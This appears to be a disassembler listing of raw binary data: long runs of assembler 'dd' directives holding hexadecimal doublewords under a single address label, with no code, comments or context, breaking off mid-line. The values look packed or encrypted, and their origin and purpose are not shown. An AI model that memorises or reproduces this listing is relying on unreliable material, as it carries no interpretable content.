34C527Ah dd 12EC043Ah, 398134A1h, 856DEDBEh, 0D4038B00h, 1820050Ch dd 2962DB18h, 828F45C0h, 508E3760h, 0ADCBB43Dh, 0C52FA4AEh dd 0B4FD97BEh, 74AABC05h, 9D167A97h, 0BB53E218h, 0D5341F09h dd 0CD1A0E44h, 6E420C32h, 0C30CC8B0h, 6782BD66h, 5B018453h dd 0F930D601h, 0E2131320h, 212DBA10h, 81033020h, 0AE1EEF80h dd 7BD345ECh, 946985A1h, 898BE996h, 891CC5F5h, 7656556Bh dd 0B7015958h, 10E9FCB8h, 9EE9EB4Eh, 0A9C45CC9h, 19427127h dd 0AF8A8F43h, 39CCEEC1h, 6F48DF84h, 4D70010Eh, 9CA839FAh dd 3A0882A0h, 66185554h, 8FB110AAh, 17755802h, 0C9BA8027h dd 176FCD0Eh, 933CE94Bh, 50B5EE9Ah, 0EF068949h, 265FF77Dh dd 7A5C74A9h, 7B2F1120h, 30777F68h, 0BF3A4532h, 4C2C5B3Ch dd 91029826h, 0E0119666h, 5095E66h, 0E9475A35h, 3856E107h dd 220BD66Ch, 21FEA28Ch, 50774EEh, 0C1A5B6F2h, 2E3DC064h dd 0F857819Ch, 0B4C5B2F1h, 0B619C90h, 23E8564Fh, 5A81F0DEh dd 97FE876Eh, 3A554977h, 20D9F040h, 93583124h, 0D2AF106Ch dd 2A14724h, 2DF41230h, 0A874887Dh, 4006D001h, 0FF6C2933h dd 135D0840h, 3085A5E9h, 0AB951D5h, 19EC6C1Fh, 0FF96A4BEh dd 975B7282h, 5D7CE16Dh, 0A74FF2D7h, 168468A4h, 0EACBE3BCh dd 194E78DAh, 0B9CCAABCh, 0D2B002C5h, 350B2520h, 56C2535Ah dd 0E274B898h, 0C0043202h dd 0B219D4A2h, 438F85D3h, 6B4C6FADh, 894ED15Fh, 9ADFC13h dd 994366BDh, 0C1D03ED5h, 5C64044h, 157DEC09h, 0F2E8843Eh dd 1A555F09h, 0BAB7BB36h, 20B8F736h, 4FC084E9h, 1C48F8B8h dd 59407B34h, 6858C197h, 6840FE3Ch, 120EF92Fh, 271C556Ah dd 0FF4311F5h, 6A88993Eh, 94E9E031h, 0B351102Ah, 0A54E3826h dd 0FB4A08DAh, 543C75B1h, 0B8BA16A4h, 6084E5F2h, 0B33631FEh dd 5CB78AF9h, 0A56FF013h, 9BA981D8h, 1B8FA111h, 0D9715AD0h dd 212EB91Bh, 92D3F72Eh, 66EC5D0Bh, 845BB94Eh, 741240F6h dd 70970C4Ch, 0ED40028Dh, 4FE60581h, 0E6297B79h, 0B2B52AF0h dd 0BFF2810Fh, 64B92F33h, 49D4351h, 0BB9C34ADh, 0F19B099Dh dd 8590E922h, 3895CC9Fh, 0C4372C8Dh, 970AE93Fh, 965D89D2h dd 0B73A9D79h, 4B47E97Ch, 3BA42598h, 0E094D48Eh, 0BFB1E369h dd 565B5441h, 0A8EA33F9h, 0DCD9FC6h, 0D515B931h, 0DE3E7AF3h dd 81AC7C26h, 1F0851BAh, 559C434Dh, 360D58h, 3E094568h dd 4EE95B37h, 270DB9FCh, 63C5960Ch, 1CCAA854h, 7638570Bh dd 9AD50B2h, 2BAB6B46h, 0B6C664E8h, 4A4F503Bh, 0F600A0ADh dd 0E2A3831h, 0DF9E63E9h, 77615E12h, 0BF2CF021h, 818E0FD2h dd 0BA521270h, 0FA1682E2h, 0F7C2F087h, 5859F31Ch, 0ADE0E984h dd 0A1B42BEh, 0BDE01A6Ah, 6681F61Fh, 39CD341h, 0A2760BB7h dd 0EE6CE801h, 682C55FCh, 0E9858A10h, 28AA9D64h, 68BD665Dh dd 7F05EFF7h, 17FDE84Fh, 0CCA184Bh, 0C335C6B4h, 0D2B7DA97h dd 0C352FA0Ch, 0E977D50Ah, 0AA59C44Eh, 5B2665ADh, 0C87C1E9Bh dd 0CE3C1A9Eh, 0FCC24B98h, 0A3DA4EA6h, 8002184Fh, 7F57EA73h dd 4615AC3h, 0DCF8311Bh, 0A896D429h, 0C0D3F601h, 576008EBh dd 0EA89B4E1h, 4930133Ch, 0FC0229B1h, 79F9C601h, 580A5449h dd 0DCA82968h, 3A40DCE9h, 71CCBFADh, 0C705150Bh, 0EDF0587Bh dd 0F7BBB7Dh, 6A2D7C02h, 2E06D8ABh, 0F13F9DF3h, 0C119AFA0h dd 0CA7EC036h, 0B1121B4h, 0CA467F79h, 47FE9230h, 24FD8AC6h dd 2D91DBE6h, 180C94Ah, 645B6D20h, 806C0BBDh, 8EB75320h dd 2CE73380h, 0C7B32206h, 648DE9C1h, 0ED3268DBh, 0F48EED73h dd 98B40EAEh, 9DC174E9h, 8E3D6A5Eh, 0A8A0643Bh, 0F6BDA099h dd 1E6B2474h, 1DC260Eh, 7AE9109Eh, 52493B0Fh, 0E2F05Fh dd 2D6EAF77h, 21D67833h, 409B1CD4h, 1D4FE908h, 0EBC33584h dd 0CBF9037Eh, 2326609Ah, 2F28F3B0h, 1D209B2Eh, 0E703D900h dd 73CB290Ah, 4631F159h, 2180916Eh, 56CE7AECh, 0A2B68412h dd 0C8A25B07h, 3A532B4Bh, 0B4925A54h, 0D25E435Eh, 0F50FEA62h dd 1C54E696h, 0C1E85BC2h, 41BE47F0h, 55A52C09h, 5180D78Eh dd 0F58050B5h, 20E96B12h, 44B97543h, 8982BC45h, 500E48CFh dd 65909054h, 84C44518h, 93E3E900h, 7DA70016h, 0F5925F27h dd 60128ADCh, 5BA2C40h, 0B036643Bh, 762E239h, 0EAC17433h dd 5BCA9007h, 317FB537h, 0A8EE204h, 87EA3817h, 6C85435h dd 5350515Dh, 680BAADCh, 0C9F10B54h, 4868501Eh, 9322585Eh dd 261B405Fh, 7F802503h, 0F03101FEh, 2800D10Fh, 0D2692CD0h dd 500D51E6h, 0E9185251h, 313C8270h, 5E1AB0DAh, 0BFA6004Dh dd 21E02F02h, 23EE8102h, 4826AA75h, 1A3F22B7h, 1CFE2916h dd 1390080Ah, 0A3633586h, 0A7503FDFh, 0BE99F17Dh, 0FBD6FB67h dd 0E0F2491Bh, 0BF830C45h, 24814D7h, 65CBC78Ch, 0D2605474h dd 0C3E5CD5h, 62CF004Ch, 0D1324F6Ah, 58E498E7h, 0EA20A507h dd 77C3801Eh, 0FCF5B00Bh, 5B4BCF4Bh, 5F5AEE70h, 294AFAE2h dd 2A522082h, 3FBCB64Bh, 66DCA1E4h, 252A5815h, 0CCC9D6ABh dd 0A550B172h, 495B8BCh, 13FA4565h, 0CD29001Ah, 10061196h dd 3670C1B0h, 3151DA0Bh, 0D39D24F5h, 0D3B7F0F8h, 0D3B0BA3h dd 60AFA5EBh, 1C36B57Fh, 2587C580h, 0E2BF47E0h, 660AD81h dd 893BF392h, 5707FD2Eh, 0EEA0FDDFh, 0D6FBA244h, 6805C4DEh dd 3FEC1427h, 937858C9h, 0AC56D395h, 0D4544B91h, 9094E52Fh dd 5E70D8C0h, 0DA66973Ch, 3E5B55F2h, 208B7FB6h, 7C6C0D10h dd 2CE4B080h, 851DC328h, 27799368h, 779072BBh, 0B4273446h dd 39D076B5h, 0CDDE4AEh, 3546BA18h, 0A14F8704h, 0F1A05068h dd 277512CAh, 0EA0D0A0Ah, 56580907h, 4F22C780h, 0BE7D3CABh dd 3A0D0412h, 0C48D8A0Eh, 30F506A1h, 0EE440806h, 7F40F4DBh dd 0E9F21614h, 0BF325386h, 0F1B1273Dh, 65661D2h, 0B0501616h dd 0D2E912E2h, 0EC77E1B6h, 138FFC5Eh, 401C57h, 654C8A02h dd 0A0F90134h, 1CD0081Ch, 5D9C5814h, 0BA2CD714h, 0C46927E9h dd 5FEE845Ah, 0F398974Bh, 2B1D6227h, 0EC750FCFh, 105811B7h dd 7B8E1004h, 139AEC50h, 0ACCA16FAh, 0D1F7171Fh, 6921101h dd 0B4840D8Bh, 8391D2DFh, 56F0C5B4h, 0BD9032B8h, 80ABCA2h dd 0AC100C74h, 3DFAC257h, 4A1E9F2Dh, 3080925h, 0DE8AF2h dd 660D5B28h, 57C3425h, 450BF400h, 388E2D19h, 0B16E5F01h dd 5206B0BDh, 48434964h, 5A71A22Bh, 42D39DF2h, 27F7F799h dd 0E6CB7CBAh, 0C5922634h, 1475E941h, 9D47BD3Dh, 5312632Ch dd 0FBD97F0h, 308264B0h, 125E0E49h, 54E652C4h, 6727512Ch dd 94A1E5E9h, 53C8044h, 0EB0AE581h, 0A4037A3Ch, 4A2FF03Ch dd 5A285A02h, 0BD0D2CF3h, 0B442399Ch, 8BE55DAFh, 0F47F2E3Eh dd 7A9B98BAh, 6F5880Ah, 0F6C5865Ah, 803808D0h, 0E606E0EDh dd 0F104EF2Ch, 0C010873Fh, 3F685266h, 26207E5Ah, 25E9EFB7h dd 2EF131CCh, 0FF54642h, 4161F760h, 13E9BE8h, 0AF8092FBh dd 0D0AFC5CDh, 7BED4794h, 0F65FA3DAh, 550992A0h, 1A54620Ah dd 25A5D68Bh, 0E1E7EB30h, 9CA366BFh, 9114C910h, 77FEF598h dd 1D162Fh, 88D8F330h, 1E23AE9h, 2B81B0D1h, 6B1239BDh dd 0EF3D2028h, 0C72D9E5Ch, 0CAD22BBFh, 0E566031h, 0E0644A7Fh dd 1118DA7Eh, 0FD0C4954h, 2D852559h, 0EF256760h, 4425D997h dd 8541C150h, 0D1B03470h, 2D12E07Eh, 3105CB7Eh, 983632FBh dd 34C66F36h, 0C106F00Ch, 65256090h, 0B65FE483h, 0F5EA2803h dd 417A2F60h, 2CAAE96Fh, 814050A1h, 1FBDEB4Fh, 2D245E25h dd 5BE9E056h, 3D2623B1h, 0AF4B5FE7h, 2D79A9E5h, 0C82E180Ch dd 8C41832Fh, 13909A6Bh, 0A7C315E9h, 127EB14Bh, 628BD02Fh dd 234E8667h, 0C04FB8FCh, 3EC1E51Ch, 30152C27h, 96BD1A2Eh dd 0C255E7C6h, 94D7DC42h, 96C60586h, 0A975093Bh, 8084107h dd 0F24E8914h, 0D0ACAA21h, 0F1EFAB53h, 723B3C87h, 0EBEA6CF0h dd 0AC4F1C0h, 2C5C1C92h, 0E81A2F52h, 133FC04Ch, 0FE015C06h dd 0C1A3A64h, 5856DE73h, 0CF96F2DFh, 75274862h, 79528C6h dd 20D453FFh, 7C9D06D4h, 676CC3F1h, 16E19E5Fh, 0EEC0B1E9h dd 0FB951ADh, 64E472AFh, 0DD1D169Ch, 208A6F49h, 0A120FA48h dd 68BA81BDh, 936858E5h, 17845C4h, 573AA3BBh, 7CF39130h dd 34CC0693h, 1203E3C1h, 52CD1509h, 0ABC608BEh, 0D588B316h dd 0E06B4AB1h, 5FB5980h, 0F2582EA8h, 7594C509h, 0E9ED0FC1h dd 0E90FD4E5h, 0E3F50D4Ah, 774FC708h, 0C8C6A425h, 5D674418h dd 264C5EAh, 3A77E521h, 92296898h, 57500614h, 698828E9h dd 0B3487980h, 6282B8BEh, 77699F4Eh, 7742DF42h, 565E4D44h dd 0E2997475h, 0C5105C39h, 0E8C84ACFh, 9849738h, 0DF0ABC5Ah dd 7605210Bh, 0B8976E45h, 6EFB54Ah, 0DF1E923Eh, 5DBE8BDh dd 6E6919B5h, 472DAA60h, 34955007h, 8EA83289h, 6419FE9h dd 0F739F03Eh, 41CDA48h dd 185C1BE4h, 1D63C82h, 2E106D68h, 13C293CDh, 8E56863Ch dd 1617052Ah, 757892Ch, 0DB2714BFh, 0F5E7C158h, 2A39C178h dd 25E91BE0h, 7E8A0D8h, 453B3D66h, 89A27973h, 2616E07Dh dd 2EAD095Dh, 2FD888E9h, 0F46DD6C2h, 209C7865h, 0C88BBE0Ah dd 3A825EC1h, 0E1829627h, 78A17AF0h, 76E02C2Ch, 1876697Bh dd 0E03560D2h, 2EEC2443h, 56DD006Dh, 1DE96119h, 0DF5205Bh dd 41642FFEh, 0BBF1315h, 98743F7Eh, 20202FA8h, 92BE04F3h dd 806AD052h, 2FAD72E5h, 33BF9548h, 0B7B53C28h, 60AEE854h dd 0C013B607h, 0C1B5F790h, 0BCC361F1h, 11F0161Ch, 405FD60Bh dd 871EF66Dh, 49927FB7h, 0E06FEFB4h, 4A417EC3h, 0CA0CDC3Bh dd 12C6A264h, 0DD8156ABh, 0A5A3112Fh, 5B777E92h, 1090F529h dd 0F9B97635h, 7DCA664Fh, 96459516h, 718EDD09h, 402A3C39h dd 0E942BF91h, 0D3C24C7Dh, 0D25C1E25h, 87B184D4h, 12E6549Ah dd 0DC106AFDh, 0B0225ADEh, 11A60F8Bh, 0C2059F9Ah, 7B5C7894h dd 0EEA112BAh, 8B76E41h, 2D6079A5h, 4AE1F0ADh, 10E7F8FDh dd 0C62DCE01h, 5CD2E2CEh, 5CC9F5A9h, 7C7E89D5h, 7878D27Eh dd 805B9738h, 68505662h, 6336C2Eh, 35485867h, 89B70F2Ch dd 8C7DE61h, 7E25D509h, 5F3E97E1h, 0A8C3D247h, 30FCD31Eh dd 0B4E4E9C2h, 18921FDBh, 755B33D1h, 0F8B1EA11h, 524A833Bh dd 0C10209FCh, 1103B2E5h, 0DE496CD4h, 0F768B69h, 23FE23D2h dd 0F86F2D2Fh, 9492DD5h, 71179BFBh, 0EB48EF4Fh, 80146029h dd 205B1EC4h, 0BAEC89E6h, 67A68DDBh, 245138h, 0FC768FEh dd 0BEB5397h, 75F4DD30h, 82E56D50h, 3310595Eh, 11AD97h dd 520F26DEh, 9406EAC1h, 7DBE5069h, 2FCB0E26h, 0EA11402Dh dd 8103DDFFh, 284EBECAh, 0FFC3077h, 87C1014h, 54C20215h dd 0D752FD04h, 0EF20480Fh, 1A2F6EC9h, 809C5AB5h, 1FD5908h dd 7146857h, 305F22DEh, 7000BCC0h, 0E1817E36h, 308810F8h dd 0C11A5259h, 2158BE0Dh, 26802026h, 152E5D1h, 67D6615Dh dd 4413A01h, 1B41F84Dh, 25A7C03Bh, 7A033DB5h, 0F683051Fh dd 0F787FC9Dh, 4FC3D53Ch, 0D0CE602h, 17066851h, 2808F707h dd 0CE94088Dh, 31925344h, 0DE47CAF8h, 5AD8E725h, 0E2AA5197h dd 0A854C0E9h, 40F4880Eh, 285A58E3h, 0F630B5D8h, 4ABDC330h dd 0B1C45D2Fh, 0A023D42Fh, 7EA9C894h, 4BDBBCA4h, 4C4412F6h dd 9A7E33A8h, 0A1C92530h, 0D29F19C4h, 5CD10BA1h, 8B103A42h dd 4B99E0E6h, 508EBA80h, 518147E5h, 274206F2h, 6AD6DE8Bh dd 0ACFE0847h, 0BF07272Ch, 42341CA3h, 3D531387h, 0BBB88817h dd 55A82E21h, 0CA0825CBh, 728B3BD8h, 0A980D31Eh, 570311F1h dd 48C17348h, 0A016054Eh, 0B7E9BD55h, 3234EA45h, 81E6403Ah dd 34E5E300h, 0EBC158F9h, 7FCFF302h, 0D23EC0A3h, 0E9333B26h dd 0C8808F25h, 0E08EF7BBh, 0E73E76E7h, 485A72FCh, 34045B16h dd 0B4C6CC27h, 0BB5B2316h, 0CA7A6129h, 448D2E89h, 38FE298Ch dd 48F1438Bh, 731F84F6h, 1DC310Ah, 2B155C05h, 0FD783135h dd 5EDB6CF2h, 0F5FD81C8h, 4113F703h, 55F88E8Dh, 0F3683AC1h dd 0FAA6402Ah, 78286633h, 9B09A749h, 0D5F40D4Eh, 60E5118Fh dd 0F59940E2h, 7CC256B0h, 0C5F5A0BDh, 48CCB51Bh, 2D71B377h dd 1FD9A475h, 5AD529C1h, 1DABE20h, 0F72BEB3Ah, 2E63E9D3h dd 77578782h, 0E0F6941Eh, 8A82595h, 0A3390CC7h, 0C4525B74h dd 0B0A1E7C6h, 356A14C0h, 0B306E667h, 0C17EC14h, 3BC7F9A0h dd 0F82149h, 0F78BA6C5h, 27EF29A2h, 10412E9h, 2BC9C721h dd 94BB5D8h, 0E3EDACC0h, 5A9925BFh, 0C9206B72h, 0E8584F9Fh dd 4A37BCB2h, 2E84E377h, 0BA807DE2h, 783422E1h, 131BF481h dd 18713B30h, 20B93136h, 24BC3B4h, 7D463280h, 807476Ah dd 8B599389h, 0EA765D2Ch, 83B73CA7h, 0FE13E0C6h, 921FB02Dh dd 0EAD1016Eh, 840FD039h, 930688Fh, 0D932A268h, 49DD960Ch dd 545E2183h, 3BF6AE08h, 9A018548h, 12A10F9h, 30372BFBh dd 6982DF85h, 99E1F609h, 2ABDAB52h, 9B601AB5h, 0F720C307h dd 0C1C34FD7h, 2B62AFD5h, 0BF4F5079h, 0EF04B909h, 5EAB16F9h dd 8372C0F1h, 0EA2921CFh, 5958329Ch, 0E3BE80C1h, 414E551Eh dd 2CE91A97h, 0BCA1F276h, 0CC448859h, 0FECEB607h, 0EDF68021h dd 566D6C8h, 74B25253h, 289D8188h, 604B21DEh, 9784DA13h dd 0EDA52038h, 581230BBh, 2C184DB2h, 96C23971h, 95E85609h dd 66325789h, 3CFDCC91h, 605D2722h, 1FCEE534h, 0BC3D1A05h dd 9749B7AFh, 27D06EECh, 25E846C3h, 2E03B86h, 239D742Eh dd 4A342820h, 7E55B1FFh, 0B56E5A81h, 3ACCCD3Bh, 0E051B8F7h dd 0F44ADB6Ch, 75402F59h, 5CD42768h, 0D9171053h, 4F313E28h dd 0AFA481C3h, 0DF499470h, 7BC034A1h, 3A010DC7h, 0C47F1BE8h dd 0CD27C2FEh, 9E5D9A6Ah, 5C16A641h, 8986AF82h, 0CF9006CFh dd 0CC58593Ch, 6BA97CA6h, 0C3148E02h, 6487F3E9h, 8FADDD79h dd 0CB81280Eh, 0C09ADE14h, 0CC291568h, 0E9302860h, 5C9118EEh dd 0FC044B27h, 0C0666553h, 8D314AAFh, 31893E20h, 0E981D721h dd 5DB4349Ch, 25C82FFDh, 3AA59FFEh, 25E609EEh, 80CD9A77h dd 57776E2h, 47BD027Ch, 311230E0h, 0C641857Dh, 0B63EA6E1h dd 0DCBCD73Eh, 48CDF729h, 0BEB9456Eh, 0CE012745h, 0CCCD5DDDh dd 0C9D9F601h, 800480D1h, 0B4504DF1h, 0A7B63882h, 1C0EE624h dd 0C2CEAF98h, 30F52D4Eh, 16D74C91h, 0DD0E88DFh, 5504D25Bh dd 8212958Fh, 8BFF50CEh, 0A1C57203h, 0CC3FE73Bh, 0C44F2381h dd 0D5B7FFECh, 0BF6AB0A3h, 71343500h, 1ACF810Dh, 57E12D28h dd 6D6069D6h, 2C0B014Ah, 1603F931h, 86C203E1h, 5401416Ah dd 0DFEA03A1h, 227AC831h, 76545CA4h, 121E4C3Ah, 0CDF42E6Ah dd 8445B558h, 0BC0B5329h, 0F4D1CC18h, 0A56F4926h, 0BF39B818h dd 0AD81BE0Eh, 0B76957ECh, 4BF7B318h, 5B149834h, 0F56FB804h dd 53F68100h, 0A762549h, 2A9CEE0Bh, 0C6618359h, 8F13C1FEh dd 82FF7A30h, 4F93C0C0h, 30558D2Dh, 97F4F8ACh, 774B76F1h dd 0AA8B8D09h, 3C267A6Dh, 6E21D2CEh, 2D00B652h, 0E40BC0F0h dd 0C101FEh, 0BFFAF122h, 0C2224AD9h, 4605687h, 5A172387h dd 38B54F44h, 4922D601h, 0B22A1661h, 0D52C7B0Dh, 0FE178B9Bh dd 8CBD4F2h, 7EA0C8F8h, 79956E73h, 0B7BDC021h, 7B5A130Ah dd 4C3C9740h, 0AA291ECEh, 0A6488D3h, 0A6B37EADh, 0F3105A38h dd 75820A63h, 0FC661E60h, 3E37BCEh, 0D909C530h, 0D473C370h dd 0A5B75424h, 4D6091C2h, 0FB952E4Bh, 1248AC38h, 1935EE8Eh dd 30626FB8h, 430003D7h, 16B4CB81h, 0EF3CEB3Eh, 3D429503h dd 0A4E9B9FFh, 744E3A3Ch, 40D7B622h, 7FBEDD97h, 2B276BEFh dd 0EFAF4C02h, 0B6F3123Ah, 0F5697C5Ah, 2920486Dh, 3B5C81B3h dd 0A1C43EA3h, 4EDF96Dh, 3E1C2436h, 4D2D2980h, 0F92F5872h dd 0E40C8505h, 0A4848132h, 7A2B211Dh, 0FBF1C304h, 618B660Dh dd 0F851A520h, 0E20F5A57h, 3DE405B6h, 0DEF8272Fh, 79C50219h dd 0BE8C3B44h, 0E9544029h, 5FC1315Eh, 0A270D188h, 0EE18BF83h dd 829107E1h, 83F56892h, 0D39EF26Bh, 0F3DBC5D1h, 7ECDD97Bh dd 0BA916824h, 2E30E7D1h, 5F066568h, 0EB2CAFDDh, 0BFEF60F5h dd 0A65CD7C6h, 0F389C31Fh, 1AB0ED5Dh, 12B26855h, 2D780551h dd 0F3F5D85Bh, 30C60304h, 0BAE5C1h, 0CADBF4C2h, 0E84A0173h dd 68825AADh, 0B797EBCh, 0FC72C982h, 0C73A611Fh, 0D5E90D84h dd 1F9CBB71h, 71EB7881h dd 1302F5Ch, 8126942h, 26286740h, 3F0919B2h, 801AD767h dd 3A654855h, 25899F59h, 52593DFh, 0CECB5774h, 0A01B95C6h dd 93419C7Dh, 5D72DE82h, 0AEC238C9h, 51DC8009h, 9F6C8F70h dd 8BC0F892h, 9ABFFC54h, 30A90EDAh, 0AC64F240h, 510131FAh dd 0E07B49h, 7F6C4FEh, 7ECC0D4h, 8F77080h, 0CFF358E1h dd 60C9FEC9h, 0B026E9A3h, 76B2540Dh, 5896DA3Bh, 0F01D40F1h dd 5E4E0948h, 0B01CF405h, 84120F68h, 3192C3D0h, 0BAD38928h dd 74F33238h, 0C9812DDAh, 700FAA2Fh, 0C180C8BEh, 2BE195E0h dd 1D228208h, 0A03FF669h, 0B18605A8h, 680A4DB9h, 0C9988813h dd 0F4E82817h, 9EFC44BFh, 885003D9h, 384791D0h, 92814CECh dd 0C2C18375h, 27E8543Ah, 0FA5B5DF4h, 6D85F074h, 7A78D729h dd 0C58C3756h, 0CE680052h, 5A35E37Ch, 0B09CA81h, 5826BF6Bh dd 75E20160h, 0D3892D54h, 14E22A5Ah, 6B64E909h, 0F19D4870h dd 4C80E985h, 68664CBBh, 0B3F4F58h, 7D0655F2h, 67C8F893h dd 15EA180h, 66687580h, 81E977Ch, 0EFBD9B5h, 5407C105h dd 0C41BA232h, 0BA4299F7h, 680A2D78h, 0AF261CBDh, 0BB007914h dd 11B97BEAh, 2E603BEh, 0DE011BA5h, 71FC295Bh, 7DE4D509h dd 18228B14h, 81B9B589h, 8EAF1478h, 2F264C59h, 5E2925FBh dd 1710E9F9h, 0CAFC4FE7h, 64CA35Ah, 0BF11E933h, 7B6F31D1h dd 6EBDE483h, 3D5C1FC8h, 43AF5457h, 0C129F681h, 7FB5E081h dd 4F78FE5Ch, 0EE9771A4h, 0F5217E78h, 0C6060D3Dh, 58204045h dd 0E32C552Ah, 7A24F724h, 0E7811C1Dh, 6ACB75F8h, 0C4061060h dd 0E31A05EFh, 0F8D4257Ch, 0DB96B573h, 0DBC702B5h, 0AFEAF3A9h dd 0C32848A0h, 9B0EB151h, 6717C980h, 0EB636BF1h, 0E9CB8077h dd 9D8B9FCEh, 64720B74h, 90BF4BADh, 6CC7EA03h, 12F880Fh dd 8C20ACAh, 5E95902h, 1667D26Ah, 2CD4C93h, 2650EDFCh dd 0EA100255h, 7ABB0790h, 38863CAh, 686CEEF1h, 213080CFh dd 4F894EF6h, 0CF28F0F8h, 206A1812h, 7240A100h, 274A2A67h dd 5ADADAF7h, 9E0AF908h, 36E90B1Fh, 0EE9635D6h, 5D5E4402h dd 44B768D1h, 0EB0D137Bh, 0B2B7B801h, 0F0E5D750h, 97E0F616h dd 0E10507ADh, 5041AC79h, 14854EF2h, 7217E912h, 1D69A342h dd 0F8C5605Ch, 5F07A02Dh, 0F9B825E9h, 0F2EB907Ch, 58D2FF52h dd 9087769Fh, 300D3E2Ch, 0EF27223Bh, 0F4A7EBDEh, 0F1081775h dd 3D5489A0h, 93577102h, 19CE0957h, 1097BFE8h, 10F5AE5Ch dd 8B4A7095h, 7617107Eh, 50852D02h, 83CB8DEAh, 0D2610650h dd 790288B9h, 7D25781Ah, 89D4B642h, 0C390732Dh, 5D71B0AEh dd 52D43013h, 440CE81Fh, 1728A625h, 15366F8h, 888BB1BFh dd 0A459E1CFh, 273F8B19h, 0E1F9F671h, 3E5559CDh, 40C2B039h dd 0C1E58500h, 0C0516037h, 9E512007h, 5A095F80h, 908DAD5h dd 0D7FCF3E9h, 0A5FB241Eh, 2FC45E11h, 535A6966h, 42525E27h dd 561EDD50h, 0E953B1C1h, 0E37A058Eh, 89232594h, 0EF08D4C4h dd 1AD58BA6h, 29F9909Fh, 1A6CBDF9h, 66E60C5Eh, 976AA65Bh dd 0C0FBDBF0h, 0F76CDE7h, 0C69F3CF8h, 55CBA204h, 0A17C8D0Bh dd 1F5EF95Bh, 25B95100h, 34A04D13h, 0B2DE5780h, 1ACB4C5Fh dd 4C29DC04h, 80B2465h, 13065359h, 9834EFF4h, 3366F81h dd 16E6663Eh, 0D3A13A4Bh, 93FC997Bh, 0FC23CD0h, 0DB39F605h dd 144452F4h, 59EA7DC8h, 72F015h, 4F28685Ah, 27808C5Fh dd 0B332215Bh, 0E08E4151h, 7AB56307h, 0F0EC1213h, 2FF38390h dd 506A002Bh, 1457BAB8h, 0C16FE90Ch, 0F00C1A49h, 0C4BD0510h dd 0BE26025Dh, 3EA01AC0h, 119252Fh, 0DBE241FCh, 0D1760906h dd 0FC6747C2h, 6F7E4E9h, 4DE1FCEFh, 0E20F95D2h, 15CB574Dh dd 80EA4885h, 9CF38DAh, 0E95AD71Ch, 9D8BE6D6h, 6D28267Dh dd 0AC7B443Dh, 0FE89165Ch, 9916EBF6h, 68BE449Bh, 3BD2A165h dd 9D2B5D39h, 0B2CF3B53h, 73F8E90Dh, 0D385DA6Fh, 3D358979h dd 0BB025E95h, 0EC784B68h, 0B42B5A10h, 207F369h, 4B3F587Ah dd 40EECDC4h, 0E4722483h, 0C77F31AFh, 0AF6844E7h, 5C71308Dh dd 751970BEh, 6BA6E830h, 0F3333B0Eh, 0BB035BB6h, 4DD678C7h dd 746A3276h, 23125D0Ch, 3204A4A9h, 0C25D2276h, 0C271FEE2h dd 408F163Fh, 5EB465CCh, 0EA77406Eh, 2D9DF8B8h, 0D604B390h dd 2946432Bh, 24A84EBh, 0CE015A08h, 94202E62h, 8BF78059h dd 0FD88511Fh, 9A2A341Eh, 1429F2CCh, 8D9F4E67h, 10B32980h dd 0DD58725Ah, 9896C220h, 8057021Eh, 27712053h, 0BB058345h dd 6280A5C4h, 76FE06CAh, 0B2CB0603h, 1E36F45Bh, 9498FFF7h dd 0FE5B67ADh, 651DC616h, 4D842885h, 37B97E80h, 0AF1D5C94h dd 65D3E909h, 7497420h, 97B069E3h, 0DE41F15Bh, 60531191h dd 9A7BA2ECh, 302AB097h, 0CF4E4A75h, 0F16933Ah, 405319E9h dd 309018A1h, 0D8F61FEEh, 68CE49C9h, 125176DCh, 0AF210302h dd 289CD342h, 0E664D701h, 2E84B85Bh, 0B6C22CEAh, 3A45FD41h dd 68C4625Dh, 8C9C2295h, 69E91655h, 0D2798871h, 582AC99Fh dd 0F65FF792h, 0C6A415DEh, 69AA4C18h, 0E82D0F29h, 0D18902FCh dd 0CC605E5Ah, 421D9FC9h, 40EF26ACh, 2FE701Dh, 0E9F9312Eh dd 12DE7ADFh, 69AF5344h, 1C3E7090h, 7D5F09B7h, 2495281Ch dd 0B50075D7h, 59E820F1h, 7B46E1BDh, 812EF0DDh, 3C975C3Ch dd 38BA97D1h, 6F9B96A2h, 799A13BDh, 0F5B967BEh, 0EB75BFA7h dd 0E9F025BCh, 199D9FAFh, 9E55C94Dh, 4B48CE8Bh, 0D1E959B0h dd 0EAA7214Fh, 7622E25Ah, 0B2647B88h, 0AFAE9E10h, 0CE6C3F45h dd 65A443AFh, 0ED0F5B07h, 2814D032h, 0BA2DF3F3h, 544C9B44h dd 41CD3ECEh, 7589ED47h, 9AC7C232h, 2523FE96h, 9AB34022h dd 74F54CE0h, 311C293Bh, 5909B2C8h, 0B1B28075h, 380B69h dd 4A7C960Dh, 0DB6FE96Ah, 6EA7C2B3h, 46E928C0h, 0C4F7057Dh dd 0B8084051h, 0AD2F7E9Eh, 3CF1DB13h, 1EF1A64Bh, 69C0796Dh dd 8EEC15Eh, 0FD3055E9h, 8352FF20h, 48BF1420h, 91063851h dd 0D028E3B5h, 3F1D2E4Bh, 4E0800EEh, 0AE5E13E5h, 6D747161h dd 4F6A492Ah, 2D5FE3E0h, 0B732680Bh, 80A2562Ch, 256F3575h dd 0A092FEE9h, 6DB1585Ah, 0BC856AA6h, 114DA3Ch, 6920DFD1h dd 3A59BD04h, 7680497Ch, 4B1915A1h, 80F8B852h, 5024BF5h dd 25E91706h, 9851A909h, 0CA8BAD6h, 89144B5Ah, 704E975Ah dd 3EEA24Eh, 0B72F5CE6h, 6D7D04DBh, 0F5C1C6C0h, 66A2273Ch dd 8D4EC8Fh, 3D141C68h, 0BB717699h, 0D0F620E7h, 0F560FB41h dd 0E4232C1Bh, 4078816Eh, 30297545h, 8B954939h, 2D967D04h dd 89765997h, 85688D06h, 980B2973h, 4D6F72Bh, 5D099E59h dd 0C8967502h, 7227BA55h, 52DC9497h, 0E22097ECh, 0D56816F4h dd 0AD929908h, 298C2F25h, 0CF355E72h, 167E1B49h, 0F83058E1h dd 0C6C6BF9h, 7C69BA04h, 0F2CAC025h, 402E36AEh, 7403AF2Eh dd 794EFD44h, 95660B18h, 0D0DA217Eh, 0DDF66205h, 2780312Ah dd 127CFF2Dh, 1029252Eh, 0B05B07A9h, 1E0296F7h, 0F2E93A49h dd 655107B0h, 8708D47Ah, 79BDD294h, 0D092CEDCh, 0E2B503ECh dd 622FC64Ah, 3BCBF36h, 0E9FE910h, 2768FB50h, 80792B06h dd 5C272CA4h, 0E60A3563h, 0F5A51712h, 0C45C0E32h, 8D683B13h dd 7B5423D4h, 1F409CE9h, 0B2CDE466h, 20DD8A80h, 0E3D0022Ch dd 9A2E480h, 0E292E950h, 